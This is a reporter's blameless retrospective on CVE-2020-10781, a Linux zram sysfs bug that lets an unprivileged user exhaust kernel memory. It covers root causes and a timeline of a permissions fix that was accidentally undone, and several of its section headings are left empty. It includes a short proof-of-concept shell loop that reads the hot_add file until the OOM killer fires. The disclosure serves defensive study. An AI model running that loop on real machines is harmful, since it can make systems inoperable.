Initially published: 2020-09-20 - Last Modified: 2020-09-20

CVE-2020-10781 retrospective (zram hot_add local DoS)

This page contains a blameless retrospective analysis on CVE-2020-10781, from the point of view of the reporter (me). This analysis has NOT been externally reviewed and may be biased/incomplete; private feedback and corrections are welcome!


CVE-2020-10781 is a local unprivileged memory exhaustion vulnerability in the zram module of the Linux kernel. On a machine with the module loaded (or built-in), a local user can continually read the /sys/class/zram-control/hot_add file and induce the kernel into consuming a large amount of system memory. Eventually this causes the system OOM killer to activate, terminating userspace processes and possibly making the whole system inoperable.

Proof of Concept (PoC)

$ ls -la /sys/class/zram-control/hot_add
-r--r--r--. 1 root root 4096 Sep  5 09:03 /sys/class/zram-control/hot_add

$ id -u

$ cat /sys/class/zram-control/hot_add

$ ls -v /dev/zram*
/dev/zram0  /dev/zram1

$ cat /sys/class/zram-control/hot_add

$ ls -v /dev/zram*
/dev/zram0  /dev/zram1  /dev/zram2

$ while `true`; do cat /sys/class/zram-control/hot_add & done
==> The kernel eventually consumes all available RAM.

Root causes and trigger

  1. A special entry under /sys can be accessed in read-only mode in order to trigger the creation of kernel-owned resources
  2. The permission bits on the /sys entry (0444) allow any user to read it
  3. Kernel development flow resulted in accidentally undoing a previous security fix (which wasn't marked as such)

See the timeline section for all the details and code references.


What can go better:

What went well:

Where we got lucky:


  1. 2015-05: zram hot_add feature is proposed. (LKML)
  2. 2015-06: hot_add support is approved and merged. Reviews did not flag the "read-to-create" design nor the "all-read" permissions. (git)
  3. 2016-12: sysfs entry permissions are patched to restrict to 0400. No CVE is assigned nor test introduced. (git)
  4. 2017-06: a NOTE is added in a source comment about the unusual "read-to-create" behavior. (git)
  5. 2017-06: a project-wide rework unwittingly breaks zram build.
  6. 2017-06: zram build is fixed. This results in undoing the previous permission fix. (git)
  7. 2020-06: permissions bits on hot_add are reported as potentially problematic to Red Hat security team. (CVE-2020-10781)
  8. 2020-06: permission bits are reverted to 0400. No further regression test nor API deprecation steps are enacted. (git)